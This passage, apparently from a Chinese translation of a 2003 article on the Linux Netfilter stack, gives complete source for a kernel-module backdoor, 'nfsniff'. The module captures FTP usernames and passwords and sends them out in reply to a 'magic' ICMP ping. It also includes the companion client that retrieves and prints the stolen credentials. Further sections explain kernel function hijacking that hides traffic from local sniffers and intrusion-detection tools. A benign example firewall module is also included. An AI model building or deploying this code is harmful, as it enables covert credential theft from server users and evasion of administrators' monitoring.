&& *(data + i) != '' && i < 15) {
len++;
i++;
}

if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(username, 0x00, len + 2);
memcpy(username, data, len);
*(username + len) = ''; /* NULL terminate */
} else if (strncmp(data, "ASS ", 5) == 0) { /* Password */
data += 5;

/* If a username hasn't been logged yet then don't try logging
* a password */
if (username == NULL) return;
if (password) return;

while (*(data + i) != 'r' && *(data + i) != 'n'
&& *(data + i) != '' && i < 15) {
len++;
i++;
}

if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(password, 0x00, len + 2);
memcpy(password, data, len);
*(password + len) = ''; /* NULL terminate */
} else if (strncmp(data, "QUIT", 4) == 0) {
/* Quit command received. If we have a username but no password,
* clear the username and reset everything */
if (have_pair) return;
if (username && !password) {
kfree(username);
username = NULL;
target_port = target_ip = 0;
have_pair = 0;

return;
}
} else {
return;
}

if (!target_ip)
target_ip = skb->nh.iph->daddr;
if (!target_port)
target_port = tcp->source;

if (username && password)
have_pair++; /* Have a pair. Ignore others until
* this pair has been read. */
// if (have_pair)
// printk("Have password pair! U: %s P: %sn", username, password);
}

/* Function called as the POST_ROUTING (last) hook. It will check for
* FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;
struct tcphdr *tcp;

/* Make sure this is a TCP packet first */
if (sb->nh.iph->protocol != IPPROTO_TCP)
return NF_ACCEPT; /* Nope, not TCP */

tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));

/* Now check to see if it's an FTP packet */
if (tcp->dest != htons(21))
return NF_ACCEPT; /* Nope, not FTP */

/* Parse the FTP packet for relevant information if we don't already
* have a username and password pair. */
if (!have_pair)
check_ftp(sb);

/* We are finished with the packet, let it go on its way */
return NF_ACCEPT;
}


/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
* When that is received, we tweak the skb structure to send a reply
* back to the requesting host and tell Netfilter that we stole the
* packet. */
static unsigned int watch_in(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;
struct icmphdr *icmp;
char *cp_data; /* Where we copy data to in reply */
unsigned int taddr; /* Temporary IP holder */

/* Do we even have a username/password pair to report yet? */
if (!have_pair)
return NF_ACCEPT;

/* Is this an ICMP packet? */
if (sb->nh.iph->protocol != IPPROTO_ICMP)
return NF_ACCEPT;

icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);

/* Is it the MAGIC packet? */
if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
|| ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
return NF_ACCEPT;
}

/* Okay, matches our checks for "Magicness", now we fiddle with
* the sk_buff to insert the IP address, and username/password pair,
* swap IP source and destination addresses and ethernet addresses
* if necessary and then transmit the packet from here and tell
* Netfilter we stole it. Phew... */
taddr = sb->nh.iph->saddr;
sb->nh.iph->saddr = sb->nh.iph->daddr;
sb->nh.iph->daddr = taddr;

sb->pkt_type = PACKET_OUTGOING;

switch (sb->dev->type) {
case ARPHRD_PPP: /* No fiddling needs doing */
break;
case ARPHRD_LOOPBACK:
case ARPHRD_ETHER:
{
unsigned char t_hwaddr[ETH_ALEN];

/* Move the data pointer to point to the link layer header */
sb->data = (unsigned char *)sb->mac.ethernet;
sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
ETH_ALEN);
memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);

break;
}
};

/* Now copy the IP address, then Username, then password into packet */
cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
memcpy(cp_data, &target_ip, 4);
if (username)
memcpy(cp_data + 4, username, 16);
if (password)
memcpy(cp_data + 20, password, 16);

/* This is where things will die if they are going to.
* Fingers crossed... */
dev_queue_xmit(sb);

/* Now free the saved username and password and reset have_pair */
kfree(username);
kfree(password);
username = password = NULL;
have_pair = 0;

target_port = target_ip = 0;

// printk("assword retrievedn");

return NF_STOLEN;
}

int init_module()
{
pre_hook.hook = watch_in;
pre_hook.pf = PF_INET;
pre_hook.priority = NF_IP_PRI_FIRST;
pre_hook.hooknum = NF_IP_PRE_ROUTING;

post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.priority = NF_IP_PRI_FIRST;
post_hook.hooknum = NF_IP_POST_ROUTING;

nf_register_hook(&pre_hook);
nf_register_hook(&post_hook);

return 0;
}

void cleanup_module()
{
nf_unregister_hook(&post_hook);
nf_unregister_hook(&pre_hook);

if (password)
kfree(password);
if (username)
kfree(username);
}
<-->

------[ 5.2.2 - 源代碼 : getpass.c

<++> nfsniff/getpass.c
/* getpass.c - simple utility to get username/password pair from
* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
* Mostly stripped from my source for InfoPig.
*
* Written by bioforge - March 2003 */

#include
#include
#include
#include
#include
#include
#include
#include
#include

#ifndef __USE_BSD
# define __USE_BSD /* We want the proper headers */
#endif
# include
#include

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
unsigned char dgram[256]; /* Plenty for a PING datagram */
unsigned char recvbuff[256];
struct ip *iphead = (struct ip *)dgram;
struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
struct sockaddr_in src;
struct sockaddr_in addr;
struct in_addr my_addr;
struct in_addr serv_addr;
socklen_t src_addr_size = sizeof(struct sockaddr_in);
int icmp_sock = 0;
int one = 1;
int *ptr_one = &one;

if (argc < 3) {
fprintf(stderr, "Usage: %s remoteIP myIPn", argv[0]);
exit(1);
}

/* Get a socket */
if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
fprintf(stderr, "Couldn't open raw socket! %sn",
strerror(errno));
exit(1);
}

/* set the HDR_INCL option on the socket */
if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
ptr_one, sizeof(one)) < 0) {
close(icmp_sock);
fprintf(stderr, "Couldn't set HDRINCL option! %sn",
strerror(errno));
exit(1);
}

addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(argv[1]);

my_addr.s_addr = inet_addr(argv[2]);

memset(dgram, 0x00, 256);
memset(recvbuff, 0x00, 256);

/* Fill in the IP fields first */
iphead->ip_hl = 5;
iphead->ip_v = 4;
iphead->ip_tos = 0;
iphead->ip_len = 84;
iphead->ip_id = (unsigned short)rand();
iphead->ip_off = 0;
iphead->ip_ttl = 128;
iphead->ip_p = IPPROTO_ICMP;
iphead->ip_sum = 0;
iphead->ip_src = my_addr;
iphead->ip_dst = addr.sin_addr;

/* Now fill in the ICMP fields */
icmphead->icmp_type = ICMP_ECHO;
icmphead->icmp_code = 0x5B;
icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);

/* Finally, send the packet */
fprintf(stdout, "Sending request...n");
if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
sizeof(struct sockaddr)) < 0) {
fprintf(stderr, "nFailed sending request! %sn",
strerror(errno));
return 0;
}

fprintf(stdout, "Waiting for reply...n");
if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
&src_addr_size) < 0) {
fprintf(stdout, "Failed getting reply packet! %sn",
strerror(errno));
close(icmp_sock);
exit(1);
}

iphead = (struct ip *)recvbuff;
icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
memcpy(&serv_addr, ((char *)icmphead + 8),
sizeof (struct in_addr));

fprintf(stdout, "Stolen for ftp server %s:n", inet_ntoa(serv_addr));
fprintf(stdout, "Username: %sn",
(char *)((char *)icmphead + 12));
fprintf(stdout, "Password: %sn",
(char *)((char *)icmphead + 28));

close(icmp_sock);

return 0;
}

/* Checksum-generation function. It appears that PING'ed machines don't
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
* Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
unsigned long sum;

for(sum = 0;numwords > 0;numwords--)
sum += *buff++; /* add next word, then increment pointer */

sum = (sum >> 16) + (sum & 0xFFFF);
sum += (sum >> 16);

return ~sum;
}
<-->

** 譯註:上述兩個文件的Makefile:

<++> nfsniff/Makefile
#Makefile
#

CFLAGS=-Wall
LIBS=-L/usr/lib -lc
# Change include directory for your kernel
MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include
MODULE_CFLAGS+=$(CFLAGS)
EXECUTE_CFLAGS=-ggdb
EXECUTE_CFLAGS+=$(CFLAGS)

all : nfsniff.o getpass
nfsniff.o : nfsniff.c
gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS)
ld -r -o nfsniff.o nfsniff~.o $(LIBS)
getpass.o : getpass.c
gcc -c getpass.c $(EXECUTE_CFLAGS)
getpass : getpass.o
gcc -o getpass getpass.o $(EXECUTE_CFLAGS)
clean :
rm -f *.o getpass
<-->

**譯註完


--[ 6 - 在Libpcap中隱藏網路通信

這一節簡短的描述,如何在修改Linux的內核,使與匹配預先定義的條件的網路通信對運行於本機的數據包嗅探工具不可見。列在本文最後的是可以正常運行的代碼,它實現了隱藏所有來自或者是去往指定的IP地址的數據包的功能。好了,讓我們開始...

----[ 6.1 - SOCK_PACKET、SOCK_RAW與Libpcap

對系統管理員來說,最有用的軟體莫過於哪些在廣義分類下被稱為「數據包嗅探器」的軟體了。兩個最典型的通用數據包嗅探器是tcpdump(1)以及ethereal(1)。這兩個軟體都利用了Libpcap庫(隨著參考文獻[1]中的tcpdump發布)來抓取原始數據包。網路入侵檢測系統(NIDS)也利用了Libpcap庫。SNORT需要Libpcap,Libnids——一個提供IP重組和TCP流跟蹤的NIDS開發庫(參見參考文獻[2]),也是如此。

在Linux系統下,Libpcap庫使用SOCK_PACKET介面。Packet套接字是一種特殊的套接字,它可以用於發生和接收鏈路層的原始數據包。關於Paket套接字有很多話題,但是由於本節討論的是關於如何隱藏它們而不是如何利用它們,感興趣的讀者可以直接去看packet(7)手冊頁。對於本文中的討論,只需要理解packet套接字被Libpcap應用程序用於獲取進入或者離開本地主機的原始數據包。

當核心網路堆棧收到一個數據包的時候,檢查該數據包是否是某個packet套接字感興趣的數據包。如果是,則將該數據遞交給那些對其感興趣的套接字。如果不是,該數據包繼續它的旅程,進入TCP、UDP或者其它類型的套接字。對於SOCK_RAW類型的套接字同樣如此。原始套接字很類似於packet套接字,只是原始套接字不提供鏈路層的包頭。一個利用原始套接字的實用程序的例子是我的SYNalert程序,參見參考文獻[3](請原諒我在這兒插入的題外話 。

到此,你應該已經了解了Linux下的數據包嗅探軟體使用了Libpcap庫。Libpcap在Linux下利用packet套接字介面來獲取包含鏈路層包頭的原始數據包。同時提到了原始套接字,它提供給用戶空間的應用程序獲取包含IP頭的數據包的方法。下一節將討論如何通過Linux核心模塊來隱藏來自這些packet套接字以及原始套接字的網路通信。
------[ 6.2 給狼披上羊皮

當收到數據包並將其送到一個packet套接字時,packet_rcv()函數被調用。這個函數可以在net/packet/af_packet.c中找到,packet_rcv()負責使數據包經過所有應用於目的套接字的套接字過濾器,並最終將其遞交到用戶空間。為了隱藏來自packet套接字的數據包,我們需要阻止所有特定數據包調用packet_rcv()函數。我們如何做到這一點?當然是優秀的ol式的函數劫持了。

函數劫持的基本操作是:如果我們知道一個內核函數,甚至是那些沒有被導出的函數,的入口地址,我們可以在使實際的代碼運行前將這個函數重定位到其他的位置。為了達到這樣的目的,我們首先要從這個函數的開始,保存其原來的指令位元組,然後將它們換成跳轉到我們的代碼處執行的絕對跳轉指令。例如以i386彙編語言實現該操作如下:

movl (address of our function), %eax
jmp *eax

這些指令的16進位代碼如下(假設我們的函數地址為0):

0xb8 0x00 0x00 0x00 0x00
0xff 0xe0

如果我們在Linux核心模塊的初始化時將上例中的函數地址替換為我們的hook函數的地址,我們就能夠使我們的hook函數先運行。當我們想運行原來的函數時,我們只需要在開始時恢複函數原來的指令,調用該函數並且替換我們的劫持代碼。簡單而有效。Silvio Cesare 不久前寫過一篇文章,講述如何實現內核函數劫持,參見參考文獻[4]。

要從packet套接字隱藏數據包,我們首先要寫一個hook函數,用於檢查數據包是否滿足我們隱藏的標準。如果滿足,那麼我們的hook函數簡單的向它的調用函數返回0,packet_rcv()永遠不會被調用。如果packet_rcv()永遠不被調用,那麼這個數據包也永遠都不會遞交給用戶空間的packet套接字。注意,只是對於"packet"套接字來說,該數據包被丟棄了。如果我們要過濾送到packet套接字的FTP數據包,那麼FTP伺服器的TCP套接字仍然能收到這些數據包。我們所做的一切只是使運行在本機上的嗅探軟體無法看到這些數據包。FTP伺服器仍然能夠處理和記錄連接。

理論上就是這麼多,關於原始套接字的用法同理可得。不同的是我們需要hook的是raw_rcv()函數(在net/ipv4/raw.c中可以找到)。下一節將給出並討論一個Linux核心模塊的示例代碼,該代碼劫持packet_rcv()函數和raw_rcv()函數,隱藏任何來自或去往我們指定的IP地址的數據包。


--[ 7 - 結束語

希望你現在至少對Netfilter有了一個初步的了解,如何使用它以及你能用它來做什麼。你同樣也應當有了一些使特定的網路通信從運行在本機的嗅探軟體中隱藏的知識了。如果你需要本文中涉及的源代碼的tar包,請直接給我發email。我同樣很樂意接收任何的指正、批評或者建議。好了,把一切都留給你和你的想象力,來做一些我在這兒展現的有趣的事吧!


--[ A - 輕量級防火牆
----[ A.1 - 概述

輕量級防火牆(LWFW)是一個簡單的內核模塊,用於演示我們在第4節中涉及的基本的數據包過錄技術。LWFW也通過ioctl()系統調用提供了一個控制介面。

由於LWFW的源代碼已經有足夠的文檔了,我在這兒只給出它如何工作的簡單概述。當LWFW模塊被載入后,它的第一個任務就是嘗試註冊控制設置。注意在LWFW的ioctl()控制介面可用之前,需要在/dev下創建一個字元設備文件。如果控制設備註冊成功,"in use"標誌被清除並且對NF_IP_PRE_ROUTE進行hook的函數被註冊。清除函數執行相反的操作。

LWFW對數據包丟棄提供三個基本的選項。按照處理的順序列出如下:
-- 源介面
-- 源IP地址
-- 目的TCP埠

這些規則的設置由ioctl()介面完成。當一個數據包被接收,LWFW按照我們設定的規則進行檢查。如果匹配了其中的任意一條規則,那麼hook函數將返回NF_DROP,然後Netfilter將悄無聲息的丟棄這個數據包。否則,hook函數返回NF_ACCEPT,數據包將繼續它的旅程。

最後,有必要提一下的是LWFW的統計日誌。無論任何時候數據包進入hook函數,LWFW都將收到的數據包的計數累加。單獨的規則檢查函數負責增加它們各自的丟棄的數據包的計數。注意,當規則的值被改變時,它的丟棄數據包的計數被重置為0。lwfwstats程序利用LWFW_GET_STATS這個IOCTL來獲取統計數據結構的一個副本並顯示其內容。


----[ A.2 - 源代碼 : lwfw.c

<++> lwfw/lwfw.c
/* Light-weight Fire Wall. Simple firewall utility based on
* Netfilter for 2.4. Designed for educational purposes.
*
* Written by bioforge - March 2003.
*/

#define MODULE
#define __KERNEL__

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#include
#include

#include "lwfw.h"

/* Local function prototypes */
static int set_if_rule(char *name);
static int set_ip_rule(unsigned int ip);
static int set_port_rule(unsigned short port);
static int check_ip_packet(struct sk_buff *skb);
static int check_tcp_packet(struct sk_buff *skb);
static int copy_stats(struct lwfw_stats *statbuff);

/* Some function prototypes to be used by lwfw_fops below. */
static int lwfw_ioctl(struct inode *inode, struct file *file,
unsigned int cmd, unsigned long arg);
static int lwfw_open(struct inode *inode, struct file *file);
static int lwfw_release(struct inode *inode, struct file *file);


/* Various flags used by the module */
/* This flag makes sure that only one instance of the lwfw device
* can be in use at any one time. */
static int lwfw_ctrl_in_use = 0;

/* This flag marks whether LWFW should actually attempt rule checking.
* If this is zero then LWFW automatically allows all packets. */
static int active = 0;

/* Specifies options for the LWFW module */
static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
| LWFW_IP_DENY_ACTIVE
| LWFW_PORT_DENY_ACTIVE);

static int major = 0; /* Control device major number */

/* This struct will describe our hook procedure. */
struct nf_hook_ops nfkiller;

/* Module statistics structure */
static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};

/* Actual rule 'definitions'. */
/* TODO: One day LWFW might actually support many simultaneous rules.
* Just as soon as I figure out the list_head mechanism... */
static char *deny_if = NULL; /* Interface to deny */
static unsigned int deny_ip = 0x00000000; /* IP address to deny */
static unsigned short deny_port = 0x0000; /* TCP port to deny */

/*
* This is the interface device's file_operations structure
*/
struct file_operations lwfw_fops = {
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
lwfw_ioctl,
NULL,
lwfw_open,
NULL,
lwfw_release,
NULL /* Will be NULL'ed from here... */
};

MODULE_AUTHOR("bioforge");
MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");

/*
* This is the function that will be called by the hook
*/
unsigned int lwfw_hookfn(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
unsigned int ret = NF_ACCEPT;

/* If LWFW is not currently active, immediately return ACCEPT */
if (!active)
return NF_ACCEPT;

lwfw_statistics.total_seen++;

/* Check the interface rule first */
if (deny_if && DENY_IF_ACTIVE) {
if (strcmp(in->name, deny_if) == 0) { /* Deny this interface */
lwfw_statistics.if_dropped++;
lwfw_statistics.total_dropped++;
return NF_DROP;
}
}

/* Check the IP address rule */
if (deny_ip && DENY_IP_ACTIVE) {
ret = check_ip_packet(*skb);
if (ret != NF_ACCEPT) return ret;
}

/* Finally, check the TCP port rule */
if (deny_port && DENY_PORT_ACTIVE) {
ret = check_tcp_packet(*skb);
if (ret != NF_ACCEPT) return ret;
}

return NF_ACCEPT; /* We are happy to keep the packet */
}

/* Function to copy the LWFW statistics to a userspace buffer */
static int copy_stats(struct lwfw_stats *statbuff)
{
NULL_CHECK(statbuff);

copy_to_user(statbuff, &lwfw_statistics,
sizeof(struct lwfw_stats));

return 0;
}

/* Function that compares a received TCP packet's destination port
* with the port specified in the Port Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_tcp_packet(struct sk_buff *skb)
{
/* Seperately defined pointers to header structures are used
* to access the TCP fields because it seems that the so-called
* transport header from skb is the same as its network header TCP packets.
* If you don't believe me then print the addresses of skb->nh.iph
* and skb->h.th.
* It would have been nicer if the network header only was IP and
* the transport header was TCP but what can you do? */
struct tcphdr *thead;

/* We don't want any NULL pointers in the chain to the TCP header. */
if (!skb ) return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;

/* Be sure this is a TCP packet first */
if (skb->nh.iph->protocol != IPPROTO_TCP) {
return NF_ACCEPT;
}

thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));

/* Now check the destination port */
if ((thead->dest) == deny_port) {
/* Update statistics */
lwfw_statistics.total_dropped++;
lwfw_statistics.tcp_dropped++;

return NF_DROP;
}

return NF_ACCEPT;
}

/* Function that compares a received IPv4 packet's source address
* with the address specified in the IP Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_ip_packet(struct sk_buff *skb)
{
/* We don't want any NULL pointers in the chain to the IP header. */
if (!skb ) return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;

if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */
lwfw_statistics.ip_dropped++; /* Update the statistics */
lwfw_statistics.total_dropped++;

return NF_DROP;
}

return NF_ACCEPT;
}

static int set_if_rule(char *name)
{
int ret = 0;
char *if_dup; /* Duplicate interface */

/* Make sure the name is non-null */
NULL_CHECK(name);

/* Free any previously saved interface name */
if (deny_if) {
kfree(deny_if);
deny_if = NULL;
}

if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))
== NULL) {
ret = -ENOMEM;
} else {
memset(if_dup, 0x00, strlen((char *)name) + 1);
memcpy(if_dup, (char *)name, strlen((char *)name));
}

deny_if = if_dup;
lwfw_statistics.if_dropped = 0; /* Reset drop count for IF rule */
printk("LWFW: Set to deny from interface: %sn", deny_if);

return ret;
}

static int set_ip_rule(unsigned int ip)
{
deny_ip = ip;
lwfw_statistics.ip_dropped = 0; /* Reset drop count for IP rule */

printk("LWFW: Set to deny from IP address: %d.%d.%d.%dn",
ip & 0x000000FF, (ip & 0x0000FF00) >> 8,
(ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);

return 0;
}

static int set_port_rule(unsigned short port)
{
deny_port = port;
lwfw_statistics.tcp_dropped = 0; /* Reset drop count for TCP rule */

printk("LWFW: Set to deny for TCP port: %dn",
((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));

return 0;
}

/*********************************************/
/*
* File operations functions for control device
*/
static int lwfw_ioctl(struct inode *inode, struct file *file,
unsigned int cmd, unsigned long arg)
{
int ret = 0;

switch (cmd) {
case LWFW_GET_VERS:
return LWFW_VERS;
case LWFW_ACTIVATE: {
active = 1;
printk("LWFW: Activated.n");
if (!deny_if && !deny_ip && !deny_port) {
printk("LWFW: No deny options set.n");
}
break;
}
case LWFW_DEACTIVATE: {
active ^= active;
printk("LWFW: Deactivated.n");
break;
}
case LWFW_GET_STATS: {
ret = copy_stats((struct lwfw_stats *)arg);
break;
}
case LWFW_DENY_IF: {
ret = set_if_rule((char *)arg);
break;
}
case LWFW_DENY_IP: {
ret = set_ip_rule((unsigned int)arg);
break;
}
case LWFW_DENY_PORT: {
ret = set_port_rule((unsigned short)arg);
break;
}
default:
ret = -EBADRQC;
};

return ret;
}

/* Called whenever open() is called on the device file */
static int lwfw_open(struct inode *inode, struct file *file)
{
if (lwfw_ctrl_in_use) {
return -EBUSY;
} else {
MOD_INC_USE_COUNT;
lwfw_ctrl_in_use++;
return 0;
}
return 0;
}

/* Called whenever close() is called on the device file */
static int lwfw_release(struct inode *inode, struct file *file)
{
lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
MOD_DEC_USE_COUNT;
return 0;
}

/*********************************************/
/*
* Module initialisation and cleanup follow...
*/
int init_module()
{
/* Register the control device, /dev/lwfw */
SET_MODULE_OWNER(&lwfw_fops);

/* Attempt to register the LWFW control device */
if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,
&lwfw_fops)) < 0) {
printk("LWFW: Failed registering control device!n");
printk("LWFW: Module installation aborted.n");
return major;
}

/* Make sure the usage marker for the control device is cleared */
lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;

printk("nLWFW: Control device successfully registered.n");

/* Now register the network hooks */
nfkiller.hook = lwfw_hookfn;
nfkiller.hooknum = NF_IP_PRE_ROUTING; /* First stage hook */
nfkiller.pf = PF_INET; /* IPV4 protocol hook */
nfkiller.priority = NF_IP_PRI_FIRST; /* Hook to come first */

/* And register... */
nf_register_hook(&nfkiller);

printk("LWFW: Network hooks successfully installed.n");

printk("LWFW: Module installation successful.n");
return 0;
}

void cleanup_module()
{
int ret;

/* Remove IPV4 hook */
nf_unregister_hook(&nfkiller);

/* Now unregister control device */
if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {
printk("LWFW: Removal of module failed!n");
}

/* If anything was allocated for the deny rules, free it here */
if (deny_if)
kfree(deny_if);

printk("LWFW: Removal of module successful.n");
}
<-->


----[ A.3 - 頭文件 : lwfw.h

<++> lwfw/lwfw.h
/* Include file for the Light-weight Fire Wall LKM.
*
* A very simple Netfilter module that drops backets based on either
* their incoming interface or source IP address.
*
* Written by bioforge - March 2003
*/

#ifndef __LWFW_INCLUDE__
# define __LWFW_INCLUDE__

/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.
* Userspace code has no business knowing about it. */
# define LWFW_NAME "lwfw"

/* Version of LWFW */
# define LWFW_VERS 0x0001 /* 0.1 */

/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will
* print anything with printk(). This is included for debugging purposes.
*/
#define LWFW_TALKATIVE

/* These are the IOCTL codes used for the control device */
#define LWFW_CTRL_SET 0xFEED0000 /* The 0xFEED... prefix is arbitrary */
#define LWFW_GET_VERS 0xFEED0001 /* Get the version of LWFM */
#define LWFW_ACTIVATE 0xFEED0002
#define LWFW_DEACTIVATE 0xFEED0003
#define LWFW_GET_STATS 0xFEED0004
#define LWFW_DENY_IF 0xFEED0005
#define LWFW_DENY_IP 0xFEED0006
#define LWFW_DENY_PORT 0xFEED0007

/* Control flags/Options */
#define LWFW_IF_DENY_ACTIVE 0x00000001
#define LWFW_IP_DENY_ACTIVE 0x00000002
#define LWFW_PORT_DENY_ACTIVE 0x00000004

/* Statistics structure for LWFW.
* Note that whenever a rule's condition is changed the related
* xxx_dropped field is reset.
*/
struct lwfw_stats {
unsigned int if_dropped; /* Packets dropped by interface rule */
unsigned int ip_dropped; /* Packets dropped by IP addr. rule */
unsigned int tcp_dropped; /* Packets dropped by TCP port rule */
unsigned long total_dropped; /* Total packets dropped */
unsigned long total_seen; /* Total packets seen by filter */
};

/*
* From here on is used solely for the actual kernel module
*/
#ifdef __KERNEL__
# define LWFW_MAJOR 241 /* This exists in the experimental range */

/* This macro is used to prevent dereferencing of NULL pointers. If
* a pointer argument is NULL, this will return -EINVAL */
#define NULL_CHECK(ptr)
if ((ptr) == NULL) return -EINVAL

/* Macros for accessing options */
#define DENY_IF_ACTIVE (lwfw_options & LWFW_IF_DENY_ACTIVE)
#define DENY_IP_ACTIVE (lwfw_options & LWFW_IP_DENY_ACTIVE)
#define DENY_PORT_ACTIVE (lwfw_options & LWFW_PORT_DENY_ACTIVE)

#endif /* __KERNEL__ */
#endif
<-->

<++> lwfw/Makefile
CC= egcs
CFLAGS= -Wall -O2
OBJS= lwfw.o

.c.o:
$(CC) -c $< -o $@ $(CFLAGS)

all: $(OBJS)

clean:
rm -rf *.o
rm -rf ./*~
<-->

--[ B - 第6節中的源代碼

這裡給出的是一個劫持packet_rcv()和raw_rcv()函數以隱藏來自或去往我們指定的IP地址的數據包的簡單模塊。默認的IP地址被設置為127.0.0.1,但是可以通過改變#define IP的值來改變它。還有一個bash腳本,用於從System.map文件中獲取需要的函數的入口地址,並且以需要的格式將這些地址做為參數來運行insmod命令。這個載入腳本是grem所寫。

[火星人 ] 深入Linux網路核心堆棧已經有1195次圍觀

http://coctec.com/docs/linux/show-post-189745.html